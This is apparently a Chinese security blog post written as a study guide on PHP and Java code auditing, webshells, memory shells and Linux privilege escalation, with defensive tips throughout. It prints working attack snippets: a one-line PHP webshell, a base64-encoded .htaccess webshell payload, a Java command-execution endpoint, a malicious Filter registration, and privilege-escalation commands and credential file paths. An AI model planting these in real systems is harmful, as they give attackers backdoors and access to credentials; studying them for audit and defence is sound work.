安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
🌐 PHP安全相关
1. 审计流程
2. 命令执行函数
3. 文件上传函数
4. 代码执行函数
5. vendor目录安全
6. PHPUnit漏洞利用
7. 无文件WebShell实现
☕ Java安全相关
1. 通用漏洞组合利用
2. 命令执行相关类
3. 框架审计重点
4. 审计流程与重点
5. Tomcat回显技术
6. 内存马实现
🔍 其他安全领域
1. POC/EXP开发心得
2. 漏洞复现经验
3. Linux提权姿势
4. Linux渗透关键文件
💎 总结
PHP安全相关
1. 审计流程
2. 命令执行函数
3. 文件上传函数
4. 代码执行函数
5. vender目录
6. phpunit
7. php可以构造无文件shell吗
# Java安全相关
1. 挖过的通用洞,你会怎么利用(组合)
2. 命令的函数或包
3. java哪些框架,审过哪些框架,它们常出现的问题是什么
4. 审计流程,你一般关注哪些洞,或擅长挖哪种类型
5. tomcat做回显
6. 内存马的实现
# 其他
- 写poc/exp的经历和心得
- 复现的一些漏洞
- Linux 提权的姿势
- Linux下有哪些文件进行渗透时比较关注的,及文件权限问题
- dirty cow 的时间及其修复版本(哪年后就没法用了)
🌐 PHP安全相关
1. 审计流程
- 入口点扫描:追踪用户输入(
$_GET
/$_POST
/$_COOKIE
/文件上传/Header)。 - 敏感函数溯源:全局搜索
eval()
、system()
、move_uploaded_file()
等函数,分析参数是否可控。 - 依赖库检查:审查
composer.json
及 vendor
目录,检测第三方库漏洞(如已知CVE)。 - 安全配置审计:检查
php.ini
(allow_url_include=Off
、disable_functions
等)。 - 业务逻辑漏洞:重点审计权限校验、支付流程、密码重置等关键功能。
2. 命令执行函数
高危函数 | 风险场景 |
---|
system() | 执行系统命令并直接输出结果 |
exec() | 执行命令但无回显(需手动输出) |
passthru() | 直接输出二进制数据(如图片) |
shell_exec() | 执行命令并返回完整字符串 |
popen() | 创建进程管道(可读写) |
🔐 防御:禁用函数列表 + 使用 escapeshellarg()
过滤参数。
3. 文件上传函数
- 核心函数:
move_uploaded_file()
(将临时文件移至目标路径)。 - 漏洞点:
- 未校验文件类型(仅前端验证)。
- 路径拼接可控(
../
目录穿越)。 - 文件名未重命名(导致覆盖敏感文件)。
- 防御:白名单校验 MIME 类型 + 随机重命名 + 存储目录禁用执行权限。
4. 代码执行函数
函数 | 触发方式 |
---|
eval() | 执行字符串中的 PHP 代码 |
assert() | 执行表达式(常用于后门) |
preg_replace() | 使用 /e 修饰符执行替换内容 |
create_function() | 动态创建匿名函数(参数注入) |
call_user_func() | 回调函数参数可控 |
💥 案例:<?php eval($_REQUEST['cmd']);?>
构成 WebShell。
5. vendor目录安全
- 作用:存放 Composer 安装的第三方库。
- 风险:
- 未删除开发依赖(如测试脚本
vendor/phpunit
)。 - 包含已知漏洞库(如
guzzlehttp
的SSRF漏洞)。
- 防御:
- 生产环境删除
.git
和测试文件。 - 定期运行
composer audit
扫描漏洞。
6. PHPUnit漏洞利用
- 常见漏洞:
- 测试脚本暴露:
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
可直接执行任意代码(CVE-2017-9841)。 - 反序列化链:利用
__destruct()
或 __wakeup()
触发恶意操作。
- 修复:删除生产环境的
phpunit
目录。
7. 无文件WebShell实现
✅ 支持方式:
- 内存驻留:通过
php://filter
或 .htaccess
加载恶意载荷到内存。 php# 利用 .htaccess AddHandler application/x-httpd-php .jpg php_value auto_prepend_file "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="
- 共享内存:
shmop
扩展写入恶意代码到共享内存段。 - OPcache:覆盖缓存中的编译结果(需服务器权限)。
☕ Java安全相关
1. 通用漏洞组合利用
漏洞组合 | 利用效果 |
---|
反序列化 + JNDI注入 | 触发远程类加载(如 Log4j2) |
XStream + XXE | 读取服务器敏感文件 |
Spring Cloud + SpEL | 表达式注入执行命令 |
Shiro + Padding Oracle | 伪造身份认证 Cookie |
2. 命令执行相关类
类/方法 | 所属框架 |
---|
Runtime.getRuntime().exec() | JDK 原生 |
ProcessBuilder.start() | JDK 原生 |
GroovyShell.evaluate() | Groovy |
ScriptEngine.eval() | JDK 脚本引擎 |
@ShellMethod (Spring Shell) | Spring Boot |
3. 框架审计重点
框架 | 常见漏洞 | 审计关注点 |
---|
Spring | SpEL 注入、CVE-2022-22965 | 参数绑定、表达式解析 |
Fastjson | 反序列化漏洞(<=1.2.47) | AutoType 校验逻辑 |
Shiro | 硬编码密钥、RememberMe 反序列化 | Cookie 加密算法与密钥强度 |
Struts2 | OGNL 表达式注入 | 拦截器参数过滤机制 |
Hibernate | SQL 注入(HQL) | 拼接查询语句 |
4. 审计流程与重点
- 入口定位:
- HTTP 请求入口(Servlet、Controller)。
- 配置文件(
web.xml
、spring-config.xml
)。
- 漏洞聚焦:
- 反序列化:
readObject()
、ObjectInputStream
。 - 表达式注入:SpEL、OGNL、EL 表达式解析点。
- 权限绕过:拦截器配置错误、
@PreAuthorize
缺失。
- 工具辅助:Fortify、CodeQL 扫描 + 人工验证。
5. Tomcat回显技术
java// 通过 Response 对象写入执行结果 @RequestMapping("/rce") public void rce(HttpServletRequest req, HttpServletResponse res) throws IOException { String cmd = req.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { res.getWriter().write(line + "\n"); } }
🔧 无回显场景:使用 DNSLog 或 HTTP 请求外带数据。
6. 内存马实现
- Filter型:动态注册恶意 Filter 拦截请求。
javaFilter filter = new EvilFilter(); FilterRegistration.Dynamic registration = servletContext.addFilter("evil", filter); registration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
- Controller型:利用 Spring 的
RequestMappingHandlerMapping
动态添加恶意路由。 - Agent型:通过 Java Agent 修改字节码(如
javassist
修改 AbstractTranslet
)。
🔍 其他安全领域
1. POC/EXP开发心得
- 原则:
- 环境兼容:适配不同版本(如 Python 2/3、JDK 版本)。
- 无害化:避免
rm -rf
等危险操作,使用 id
/whoami
验证。
- 技巧:
- 使用
requests.Session()
保持会话(应对 Cookie 验证)。 - 多线程加速检测(如爆破路径)。
2. 漏洞复现经验
漏洞类型 | 代表案例 | 关键点 |
---|
RCE | Log4j2 (CVE-2021-44228) | JNDI 服务构造(LDAP) |
反序列化 | Fastjson (CVE-2022-25845) | 绕过 AutoType 校验 |
SSRF | Weblogic (CVE-2014-4210) | 内网端口扫描 |
3. Linux提权姿势
类型 | 命令/工具 | 适用场景 |
---|
SUID滥用 | find / -perm -4000 2>/dev/null | 查找可执行文件(如 vim ) |
内核漏洞 | dirtycow (CVE-2016-5195) | Linux < 4.8.3(2016年前) |
定时任务劫持 | 注入恶意代码到 /etc/cron* | 权限配置错误 |
环境变量劫持 | export PATH=.:$PATH | 调用相对路径程序 |
📅 Dirty Cow修复:2016年10月披露,Linux 内核 ≥ 4.8.3 已修复。
4. Linux渗透关键文件
文件路径 | 用途 | 权限要求 |
---|
/etc/passwd | 用户列表(可读) | 所有用户 |
/etc/shadow | 密码哈希(需 root) | root |
~/.ssh/id_rsa | 用户私钥 | 属主用户 |
/etc/crontab | 系统定时任务 | root |
/var/log/auth.log | 登录日志(需 sudo) | adm 组用户 |
💎 总结
- PHP安全核心:过滤输入、禁用危险函数、隔离第三方库。
- Java安全核心:反序列化链防御、表达式沙箱、权限最小化。
- 渗透关键:内核漏洞时效性(如 Dirty Cow)、权限配置审计(SUID/Cron)